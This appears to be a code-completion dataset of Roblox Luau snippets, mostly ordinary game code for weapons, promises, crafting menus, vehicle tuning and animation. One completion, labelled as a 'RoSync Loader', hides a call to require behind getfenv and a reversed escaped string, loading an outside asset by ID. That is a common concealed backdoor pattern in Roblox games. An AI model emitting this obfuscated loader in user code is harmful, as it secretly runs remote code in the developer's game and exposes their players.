prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--Left lean Divider
|
ZR15RightLegLeftLeanD = 1
XR15RightLegLeftLeanD = 1
YR15RightLegLeftLeanD = 1
R15RightKneeLeftLeanD = 1
ZR15RightArmLeftLeanD = 1
XR15RightArmLeftLeanD = 1
YR15RightArmLeftLeanD = 1
R15RightElbowLeftLeanD = 1
ZR15LeftLegLeftLeanD = 1
XR15LeftLegLeftLeanD = 1
YR15LeftLegLeftLeanD = 1
R15LeftKneeLeftLeanD = 1
ZR15LeftArmLeftLeanD = 1
XR15LeftArmLeftLeanD = 1
YR15LeftArmLeftLeanD = 1
R15LeftElbowLeftLeanD = 1
ZR15LowerTorsoLeftLeanD = 1
XR15LowerTorsoLeftLeanD = 1
YR15LowerTorsoLeftLeanD = 1
ZR15UpperTorsoLeftLeanD = 1
|
--------------------- TEMPLATE BLADE WEAPON ---------------------------
-- Waits for the child of the specified parent
|
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local SLASH_DAMAGE = 50
local DOWNSTAB_DAMAGE = 40
local THROWING_DAMAGE = 51
local HOLD_TO_THROW_TIME = 0.38
local Damage = 50
local MyHumanoid = nil
local MyTorso = nil
local MyCharacter = nil
local MyPlayer = nil
local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local BlowConnection
local Button1DownConnection
local Button1UpConnection
local PlayStabPunch
local PlayDownStab
local PlayThrow
local PlayThrowCharge
local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset
local DebrisService = Game:GetService('Debris')
local PlayersService = Game:GetService('Players')
local SlashSound
local HitPlayers = {}
local LeftButtonDownTime = nil
local Attacking = false
function Blow(hit)
if Attacking then
BlowDamage(hit, Damage)
end
end
function BlowDamage(hit, damage)
local humanoid = hit.Parent:FindFirstChild('Humanoid')
local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
if not MyPlayer.Neutral then
-- Ignore teammates hit
if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
return
end
end
-- final check, make sure weapon is in-hand
local rightArm = MyCharacter:FindFirstChild('Right Arm')
if (rightArm ~= nil) then
-- Check if the weld exists between the hand and the weapon
local joint = rightArm:FindFirstChild('RightGrip')
if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
-- Make sure you only hit them once per swing
if player and not HitPlayers[player] then
TagHumanoid(humanoid, MyPlayer)
print("Sending " .. damage)
humanoid:TakeDamage(damage)
Handle.Splat.Volume = 1
HitPlayers[player] = true
end
end
end
end
end
function TagHumanoid(humanoid, player)
-- Add more tags here to customize what tags are available.
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new('ObjectValue')
creatorTag.Value = player
creatorTag.Name = 'creator'
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new('StringValue')
weaponIconTag.Value = IconUrl
weaponIconTag.Name = 'icon'
weaponIconTag.Parent = creatorTag
DebrisService:AddItem(weaponIconTag, 1.5)
end
function HardAttack()
Damage = SLASH_DAMAGE
SlashSound:play()
if PlayStabPunch then
PlayStabPunch.Value = true
wait(1.0)
PlayStabPunch.Value = false
end
end
function NormalAttack()
Damage = DOWNSTAB_DAMAGE
KnifeDown()
SlashSound:play()
if PlayDownStab then
PlayDownStab.Value = true
wait(1.0)
PlayDownStab.Value = false
end
KnifeUp()
end
function ThrowAttack()
KnifeOut()
if PlayThrow then
PlayThrow.Value = true
wait(0.3)
if not Handle then return end
local throwingHandle = Handle:Clone()
DebrisService:AddItem(throwingHandle, 5)
throwingHandle.Parent = Workspace
if MyCharacter and MyHumanoid then
throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100
-- set the orientation to the direction it is being thrown in
throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
local floatingForce = Instance.new('BodyForce', throwingHandle)
floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
local spin = Instance.new('BodyAngularVelocity', throwingHandle)
spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
end
Handle.Transparency = 1
-- Wait so that the knife has left the thrower's general area
wait(0.08)
if throwingHandle then
local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
end
-- must check if it still exists since we waited
if throwingHandle then
throwingHandle.CanCollide = true
end
wait(0.6)
if Handle and PlayThrow then
Handle.Transparency = 0
PlayThrow.Value = false
end
end
KnifeUp()
end
function KnifeUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function KnifeDown()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,-1)
end
function KnifeOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function OnLeftButtonDown()
LeftButtonDownTime = time()
if PlayThrowCharge then
PlayThrowCharge.Value = true
end
end
function OnLeftButtonUp()
if not Tool.Enabled then return end
-- Reset the list of hit players every time we start a new attack
HitPlayers = {}
if PlayThrowCharge then
PlayThrowCharge.Value = false
end
if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then
Tool.Enabled = false
local currTime = time()
if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and
currTime - LeftButtonDownTime < 1.15 then
ThrowAttack()
else
Attacking = true
if math.random(1, 2) == 1 then
HardAttack()
else
NormalAttack()
end
Attacking = false
end
Tool.Enabled = true
end
end
function OnEquipped(mouse)
PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch')
PlayDownStab = WaitForChild(Tool, 'PlayDownStab')
PlayThrow = WaitForChild(Tool, 'PlayThrow')
PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
SlashSound = WaitForChild(Handle, 'Swoosh1')
Handle.Splat.Volume = 0
SlashSound:play()
BlowConnection = Handle.Touched:connect(Blow)
MyCharacter = Tool.Parent
MyTorso = MyCharacter:FindFirstChild('Torso')
MyHumanoid = MyCharacter:FindFirstChild('Humanoid')
MyPlayer = PlayersService.LocalPlayer
if mouse then
Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown)
Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp)
end
KnifeUp()
end
function OnUnequipped()
-- Unequip logic here
if BlowConnection then
BlowConnection:disconnect()
BlowConnection = nil
end
if Button1DownConnection then
Button1DownConnection:disconnect()
Button1DownConnection = nil
end
if Button1UpConnection then
Button1UpConnection:disconnect()
Button1UpConnection = nil
end
MyHumanoid = nil
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
|
-- We set our speeds on the server, don't let the client choose
|
local speeds = {
run = 24,
walk = 16
}
character.speed = function(player, payload)
local humanoid = Util.getHumanoid(player)
if not humanoid or not payload or not speeds[payload.speed] then
return
end
humanoid.WalkSpeed = speeds[payload.speed]
end
return character
|
--[[
Remove the given key from the list.
]]
|
function Immutable.RemoveFromList(list, removeIndex)
local new = {}
for i = 1, #list do
if i ~= removeIndex then
table.insert(new, list[i])
end
end
return new
end
|
-- Event Binding
|
Tool.Changed:connect(OnChanged)
Tool.RocketHit.OnServerEvent:connect(OnRocketHit)
Tool.FireRocket.OnServerEvent:connect(OnFireRocket)
Tool.HitPlayers.OnServerEvent:connect(OnHitPlayers)
Tool.DirectHitPlayer.OnServerEvent:connect(OnDirectHitPlayer)
IntializeBuffer()
|
--[=[
Fulfills the promise with the value
@param values { T } -- Params to fulfil with
@param valuesLength number
@private
]=]
|
function Promise:_fulfill(values, valuesLength)
if not self._pendingExecuteList then
return
end
self._fulfilled = values
self._valuesLength = valuesLength
local list = self._pendingExecuteList
self._pendingExecuteList = nil
for _, data in pairs(list) do
self:_executeThen(unpack(data))
end
end
|
-- see link for what the dictionary looks like: https://developer.roblox.com/en-us/api-reference/function/Players/GetCharacterAppearanceInfoAsync
|
local wearingAssets
local originalCamCFrame = camera.CFrame
local function characterAdded()
character = player.Character
rootPart = character.PrimaryPart or character:WaitForChild("HumanoidRootPart")
humanoid = character:FindFirstChildWhichIsA("Humanoid")
originalCamCFrame = camera.CFrame
end
local function hideAllSubCategoryFrames()
for i, frame in ipairs(subCategoryFrames) do
frame.Visible = false
end
end
local function setSelectedCategory(guiButton)
for button, class in next, activeCategoryButtons do
class:SetSelected(false)
end
if activeCategoryButtons[guiButton] then
activeCategoryButtons[guiButton]:SetSelected(true)
end
end
local function setSelectedSubCategory(guiButton)
for button, class in next, activeSubCategoryButtons do
class:SetSelected(false)
end
if activeSubCategoryButtons[guiButton] then
activeSubCategoryButtons[guiButton]:SetSelected(true)
end
end
local function updateScrollingFrameCanvasSize()
scrollingFrame.CanvasSize = UDim2.new(0, 0, 0, scrollingFrameUIGridLayout.AbsoluteContentSize.Y)
end
local function updateScaleFrameCanvasSize()
scaleFrame.CanvasSize = UDim2.new(0, 0, 0, scaleFrameUIGridLayout.AbsoluteContentSize.Y)
end
local function clearSearch()
searchTextBox.Text = ""
end
local function resetScrollingFrame()
activeButtons:DoCleaning()
clearSearch()
scrollingFrame.CanvasPosition = Vector2.new(0, 0)
end
|
-- Basic settings
|
local MAXIMUM_DIFFERENT_ITEMS = 6
local plr = game.Players.LocalPlayer
local guiService = game:GetService("GuiService")
function getItemTable()
-- Formulate and return a table of items
local items = {}
for _, i in pairs(script.Parent:GetChildren()) do
if i.Name == "Item" then
for _=1, i.Count.Value do
table.insert(items, i.Item.Value.Name)
end
end
end
return items
end
function refreshOutlines()
-- Create table of item names
local items = {}
for _, i in pairs(script.Parent:GetChildren()) do
if i.Name == "Item" then
table.insert(items, i.Item.Value.Name)
end
end
-- Check size
if #items > 0 then
-- Create table of connected items
local connectedItems = {}
for _, i in pairs(game.ReplicatedStorage.Recipes:GetChildren()) do
local okay = true
for _, o in pairs(items) do
if i.Ingredients:FindFirstChild(o) == nil then
okay = false
break
end
end
if okay then
for _, o in pairs(i.Ingredients:GetChildren()) do
table.insert(connectedItems, o.Name)
end
end
end
-- Go through displayed items adding/removing outlines
for _, i in pairs(script.Parent.Parent.Parent.Display.Container:GetChildren()) do
if i.Name == "Item" then
local okay = false
for n, o in pairs(connectedItems) do
if o == i.Item.Value.Name then
okay = true
table.remove(connectedItems, n)
break
end
end
i.BlueEdge.Visible = okay
end
end
else
-- Remove all outlines
for _, i in pairs(script.Parent.Parent.Parent.Display.Container:GetChildren()) do
if i.Name == "Item" then
i.BlueEdge.Visible = false
end
end
end
end
script.Parent.AddItem.OnInvoke = function(item)
-- Check if there already is an entry for the item
local existing = nil
for _, i in pairs(script.Parent:GetChildren()) do
if i.Name == "Item" then
if i.Item.Value == item then
existing = i
break
end
end
end
if existing == nil then
-- Check if the item count maximum has been reached
local entryCount = #script.Parent:GetChildren() - 5
if entryCount >= MAXIMUM_DIFFERENT_ITEMS then
return false
end
-- Create an item GUI element and add to container
local itemGui = script.Parent.ItemTemplate:clone()
itemGui.Name = "Item"
itemGui.Item.Value = item
itemGui.ItemIcon.Image = item.IconAsset.Value
itemGui.ItemNameLabel.Text = item.Name
itemGui.ItemNameLabel.TextColor3 = plr.PlayerScripts.Functions.GetRarityColor:Invoke(item.Rarity.Value)
if item.Rarity.Value == "Immortal" or item.Rarity.Value == "Developer" then
itemGui.ItemName.TextStrokeColor3 = Color3.fromRGB(255, 255, 255)
end
itemGui.Position = UDim2.new(0, (entryCount % 3) * 116 + 10, 0, math.floor(entryCount / 3) * 40 + 10)
itemGui.Parent = script.Parent
itemGui.Visible = true
itemGui.InteractionHandler.Disabled = false
-- Tell preview to refresh
plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable())
refreshOutlines()
-- Return success
return true
else
-- Increment count value
existing.Count.Value = existing.Count.Value + 1
existing.ItemCount.Text = "x " .. existing.Count.Value
-- Tell preview to refresh
plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable())
-- Return success
return true
end
end
script.Parent.RemoveItem.Event:connect(function(itemGui)
-- Get item
local item = itemGui.Item.Value
-- Decrement count
itemGui.Count.Value = itemGui.Count.Value - 1
-- Check if none left
if itemGui.Count.Value <= 0 then
-- Calculate gui rank to be used below
local thisRank = (((itemGui.Position.Y.Offset - 10) / 40) * 3) + ((itemGui.Position.X.Offset - 10) / 116)
-- Destroy the gui
itemGui:destroy()
-- Move each item over/up
local closestItem = nil
local closestItemRank = nil
local lastItem = nil
local lastItemRank = nil
for _, i in pairs(script.Parent:GetChildren()) do
if i.Name == "Item" then
local rank = (((i.Position.Y.Offset - 10) / 40) * 3) + ((i.Position.X.Offset - 10) / 116)
if rank > thisRank then
i.Position = i.Position + UDim2.new(0, -116, 0, 0)
if i.Position.X.Offset < 0 then
i.Position = i.Position + UDim2.new(0, 348, 0, -40)
end
if closestItem == nil or rank < closestItemRank then
closestItem = i
closestItemRank = rank
end
end
if lastItem == nil or rank > lastItemRank then
lastItem = i
lastItemRank = rank
end
end
end
if closestItem ~= nil then
guiService.SelectedObject = closestItem.ClickArea
elseif lastItem ~= nil then
guiService.SelectedObject = lastItem.ClickArea
else
guiService.SelectedObject = plr.PlayerGui.MainGui.Crafting.OpenRecipeBook
end
elseif itemGui.Count.Value > 1 then
-- Change text
itemGui.ItemCount.Text = "x " .. itemGui.Count.Value
else
-- Change text
itemGui.ItemCount.Text = ""
end
-- Add back to main display
plr.PlayerGui.MainGui.Crafting.Display.Container.AddItem:Fire(item)
-- Tell preview to refresh
plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire(getItemTable())
refreshOutlines()
end)
script.Parent.ClearItems.Event:connect(function()
-- Destroy all items
for _, i in pairs(script.Parent:GetChildren()) do
if i.Name == "Item" then
i:destroy()
end
end
-- Tell preview to refresh
plr.PlayerGui.MainGui.Crafting.Preview.Refresh:Fire({})
end)
|
-- For those who prefer distinct functions
|
function ControlModule:Disable()
if self.activeController then
self.activeController:Enable(false)
if self.moveFunction then
self.moveFunction(Players.LocalPlayer, Vector3.new(0,0,0), true)
end
end
end
|
-- deltarager cried here
-- 27/05/2021
|
repeat wait() until game:IsLoaded() and game.Workspace:FindFirstChild(game.Players.LocalPlayer.Name) ~= nil and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local UserInputService = game:GetService("UserInputService")
local constants = require(ReplicatedStorage["ClientModules"].Constants)
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local animator = humanoid:WaitForChild("Animator")
local oldEvent1,oldEvent2 = nil,nil
local toolEvent,toolEventDe = nil,nil
IdleAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Idle)
SprintAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Sprint)
CrouchAnimation = animator:LoadAnimation(ReplicatedStorage.Animations.Crouch)
local crouching = false
local sprinting = false
local equipped = false
local shooting = false
local function Crouch()
if sprinting then
humanoid.WalkSpeed = 16;
SprintAnimation:Stop()
sprinting = false
end
if crouching then
humanoid.WalkSpeed = 16
CrouchAnimation:Stop()
else
if equipped then
IdleAnimation:Play()
end
CrouchAnimation:Play()
humanoid.WalkSpeed = 10
end
crouching = not crouching
end
local function Sprint()
if crouching then
humanoid.WalkSpeed = 16
CrouchAnimation:Stop()
if equipped then
IdleAnimation:Stop()
end
crouching = false
end
if sprinting then
humanoid.WalkSpeed = 16;
if equipped then
SprintAnimation:Stop()
IdleAnimation:Play()
end
else
if equipped then
IdleAnimation:Stop()
SprintAnimation:Play()
end
humanoid.WalkSpeed = 24;
end
sprinting = not sprinting
end
UserInputService.InputBegan:Connect(function(input,gpe)
if gpe then return end
if input.KeyCode == constants.sprintKey and not shooting then
Sprint()
elseif input.KeyCode == constants.crouchKey then
Crouch()
elseif input.KeyCode == Enum.KeyCode.Space then
if crouching then
Crouch()
end
end
end)
character.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
equipped = true
IdleAnimation:Play()
if sprinting then
IdleAnimation:Stop()
SprintAnimation:Play()
end
toolEvent = child.Activated:Connect(function()
if child.GunType.Value ~= "heal" then
shooting = true
if sprinting then
humanoid.WalkSpeed = 16;
sprinting = false
SprintAnimation:Stop()
IdleAnimation:Play()
end
end
end)
toolEventDe = child.Deactivated:Connect(function()
shooting = false
end)
end
end)
character.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
equipped = false
IdleAnimation:Stop()
SprintAnimation:Stop()
if toolEvent ~= nil then
toolEvent:Disconnect()
toolEventDe:Disconnect()
end
end
end)
|
--wait()
|
game.ReplicatedStorage.ShowShop:FireClient(game.Players[hit.Parent.Name])
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 25 -- cooldown for use of the tool again
ZoneModelName = "Fresh Disco" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- Necessery Functions
|
local ErrorPart = nil
local function GetValidPartToLookAt(Char, bodypart)
local pHum = Char:FindFirstChild("Humanoid")
if not Char and pHum then return nil end
local pIsR6 = (pHum.RigType.Value==0)
if table.find({"Torso", "UpperTorso"}, bodypart) then
if pIsR6 then bodypart = "Torso" else bodypart = "UpperTorso" end
end
local ValidPart = Char:FindFirstChild(bodypart) or Char:FindFirstChild("HumanoidRootPart")
if ValidPart then return ValidPart else
if ErrorPart ~= bodypart then
--warn(Body.Name.." can't find part to look: "..tostring(bodypart))
ErrorPart = bodypart
end
return nil end
end
local function getClosestPlayer() -- Get the closest player in the range.
local closest_player, closest_distance = nil, LookAtPlayerRange
for i = 1, #SearchLoc do
for _, player in pairs(SearchLoc[i]:GetChildren()) do
if player:FindFirstChild("Humanoid") and player ~= Body
and (Players:GetPlayerFromCharacter(player) or LookAtNonPlayer)
and GetValidPartToLookAt(player, PartToLookAt) then
local distance = (Core.Position - player.PrimaryPart.Position).Magnitude
if distance < closest_distance then
closest_player = player
closest_distance = distance
end
end
end
end
return closest_player
end
local function rWait(n)
n = n or 0.05
local startTime = os.clock()
while os.clock() - startTime < n do
game:GetService("RunService").Heartbeat:Wait()
end
end
local function LookAt(NeckC0, WaistC0)
if not IsR6 then
if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end
if Waist then Waist.C0 = Waist.C0:lerp(WaistC0, UpdateSpeed/2) end
else
if Neck then Neck.C0 = Neck.C0:lerp(NeckC0, UpdateSpeed/2) end
end
end
|
--[[
Chains a Promise from this one that is resolved if this Promise is
resolved, and rejected if it is not resolved.
]]
|
function Promise.prototype:now(rejectionValue)
local traceback = debug.traceback(nil, 2)
if self:getStatus() == Promise.Status.Resolved then
return self:_andThen(traceback, function(...)
return ...
end)
else
return Promise.reject(rejectionValue == nil and Error.new({
kind = Error.Kind.NotResolvedInTime,
error = "This Promise was not resolved in time for :now()",
context = ":now() was called at:\n\n" .. traceback,
}) or rejectionValue)
end
end
|
------------------------------------------------------------------------
-- reanchor if last token is has a constant string, see close_func()
-- * used only in close_func()
------------------------------------------------------------------------
|
function luaY:anchor_token(ls)
if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then
-- not relevant to Lua implementation of parser
-- local ts = ls.t.seminfo
-- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */
end
end
|
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump
-- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
|
function DynamicThumbstick:GetIsJumping()
local wasJumping = self.isJumping
self.isJumping = false
return wasJumping
end
function DynamicThumbstick:Enable(enable: boolean?, uiParentFrame): boolean
if enable == nil then return false end -- If nil, return false (invalid argument)
enable = enable and true or false -- Force anything non-nil to boolean before comparison
if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state
if enable then
-- Enable
if not self.thumbstickFrame then
self:Create(uiParentFrame)
end
self:BindContextActions()
else
ContextActionService:UnbindAction(DYNAMIC_THUMBSTICK_ACTION_NAME)
-- Disable
self:OnInputEnded() -- Cleanup
end
self.enabled = enable
self.thumbstickFrame.Visible = enable
end
|
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
|
Tune.FCamber = 0
Tune.RCamber = 0
Tune.FToe = 0
Tune.RToe = 0
|
-- Compiled with roblox-ts v2.0.4
-- eslint-disable-next-line @typescript-eslint/no-empty-interface
|
local unitMeta = {}
unitMeta.__eq = function()
return true
end
unitMeta.__tostring = function()
return "()"
end
unitMeta.__index = function()
return error("Attempt to index Unit", 2)
end
local function unit()
return setmetatable({}, unitMeta)
end
return {
unit = unit,
}
|
-- the Tool, reffered to here as "Block." Do not change it!
|
Block = script.Parent.Parent.Fuse3Pick -- You CAN change the name in the quotes "Example Tool"
|
--[[ Last synced 12/13/2020 04:16 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[[
Packs a number of arguments into a table and returns its length.
Used to cajole varargs without dropping sparse values.
]]
|
local function pack(...)
return select("#", ...), { ... }
end
|
-------------------------
|
function onClicked()
R.Function1.Disabled = true
FX.CRUSH.BrickColor = BrickColor.new("Really red")
FX.CRUSH.loop.Disabled = true
FX.HPF.BrickColor = BrickColor.new("Really red")
FX.HPF.loop.Disabled = true
FX.LPF.BrickColor = BrickColor.new("Really red")
FX.LPF.loop.Disabled = true
FX.NOISE.BrickColor = BrickColor.new("Really red")
FX.NOISE.loop.Disabled = true
FX.ZIP.BrickColor = BrickColor.new("Really red")
FX.ZIP.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- скрипт расчёта текущих координат
|
me = script.Parent
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0.1, 0.4, -0.2) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--//Custom Functions\\--
|
function activate()
if specialDB then
specialDB = false
activateSpecial:FireServer()
else
end
end
|
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
|
function ReloadAnim()
TweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
TweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
local Speed = S.ReloadTime / 2
local Mag_Parts = {}
for _, Obj in pairs(Gun:GetChildren()) do
if Obj.Name == "Mag" and Obj:IsA("BasePart") then
INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})
end
end
local W1 = nil
local W2 = nil
local SequenceTable = {
function()
for Index, Mag in pairs(Mag_Parts) do
Mag.Original.Transparency = 1
Mag.Clone1.Parent = Gun_Ignore
Mag.Clone1.CanCollide = true
if Index ~= 1 then
local W = Instance.new("Weld")
W.Part0 = Mag_Parts[1].Clone1
W.Part1 = Mag.Clone1
W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)
W.Parent = Mag_Parts[1].Clone1
end
end
W1 = Instance.new("Weld")
W1.Part0 = Mag_Parts[1].Clone1
W1.Part1 = Handle
W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)
W1.Parent = Mag_Parts[1].Clone1
TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)
TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(20), RAD(3), 0), Linear, 0.35 * Speed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)
wait(0.3 * Speed)
end;
function()
TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)
wait(0.2 * Speed)
end;
function()
W1:Destroy()
Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-5,0)) * 20
spawn(function()
while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end
for _, Mag in pairs(Mag_Parts) do
Mag.Clone1.Anchored = true
Mag.Clone1:BreakJoints()
end
end)
for Index, Mag in pairs(Mag_Parts) do
Mag.Clone2.Parent = Gun_Ignore
if Index ~= 1 then
local W = Instance.new("Weld")
W.Part0 = Mag_Parts[1].Clone2
W.Part1 = Mag.Clone2
W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)
W.Parent = Mag_Parts[1].Clone2
end
end
W2 = Instance.new("Weld")
W2.Part0 = FakeLArm
W2.Part1 = Mag_Parts[1].Clone2
W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)
W2.Parent = FakeLArm
wait(0.1)
end;
function()
local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.9, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()
local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()
local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)
local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)
local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)
TweenJoint(LWeld, ArmC0[1], CF(-0.3, 1.85, -0.11) * CFANG(RAD(-10), RAD(30), RAD(-60)), Sine, 0.6 * Speed)
TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10)), Sine, 0.6 * Speed)
TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)
TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)
wait(0.7 * Speed)
end;
function()
for _, Mag in pairs(Mag_Parts) do
Mag.Original.Transparency = 0
Mag.Clone2:Destroy()
end
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)
wait(0.5 * Speed)
end;
}
for _,ReloadFunction in pairs(SequenceTable) do
if BreakReload then
break
end
ReloadFunction()
end
if W1 then W1:Destroy() end
if W2 then W2:Destroy() end
for _, Mag in pairs(Mag_Parts) do
Mag.Clone1:Destroy()
Mag.Clone2:Destroy()
end
end
function Reload()
Running = false
if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then
AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)
Ammo.Value = 0
Reloading = true
if Aimed then UnAimGun(S.ReloadAnimation) end
Gui_Clone.CrossHair.Reload.Visible = true
if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
if S.ReloadAnimation then
wait()
ReloadAnim()
else
local StartReload = tick()
while true do
if BreakReload then break end
if (tick() - StartReload) >= S.ReloadTime then break end
RS:wait()
end
end
if (not BreakReload) then
if StoredAmmo.Value >= ClipSize.Value then
Ammo.Value = ClipSize.Value
if AmmoInClip > 0 then
StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)
else
StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
end
elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
Ammo.Value = StoredAmmo.Value
StoredAmmo.Value = 0
end
end
BreakReload = false
Reloading = false
if Selected then
AmmoInClip = 0
Gui_Clone.CrossHair.Reload.Visible = false
end
end
end
|
--[[
SCRIPT VERSION:
1, 10/19/21
CURRENT ISSUE:
Nothing
--]]
|
if not game.Loaded or not workspace:FindFirstChild("Terrain") then
game.Loaded:Wait();
game:GetService("Players").LocalPlayer.CharacterAdded:Wait();
end;
local Players = game:GetService("Players")
local Player = Players.LocalPlayer;
local Screen = script.Parent.Parent.Parent.Leveled.Admin;
local Sidebar = Screen.Sidebar.Inside;
Sidebar.UserThumbnail.Image = Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size420x420);
|
--------END STAGE--------
--------CREW--------
|
game.Workspace.crewview1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew3.Decal.Texture = game.Workspace.Screens.Main.Value
|
--// Damage Settings
|
BaseDamage = 42; -- Torso Damage
